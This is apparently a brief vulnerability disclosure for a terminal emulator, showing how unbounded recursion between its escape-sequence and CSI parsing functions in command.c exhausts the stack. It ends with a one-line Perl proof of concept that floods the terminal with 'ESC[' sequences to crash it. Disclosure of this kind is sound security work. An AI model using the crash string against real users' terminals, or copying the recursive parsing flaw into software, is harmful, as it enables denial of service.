File: command.c:
void
process_escape_seq(void)
{
...
case '[':
process_csi_seq();
...
/*{{{ process CSI (code sequence introducer) sequences `ESC[' */
/* PROTO */
void
process_csi_seq(void)
{
...
ch = cmd_getc();
...
} else if (ch == 033) {
process_escape_seq(); // XXX GYN: nice... reaallly nice ;p
Ups, stack exhaustion.
PoC exploit:
perl -e 'print "\033["x100000'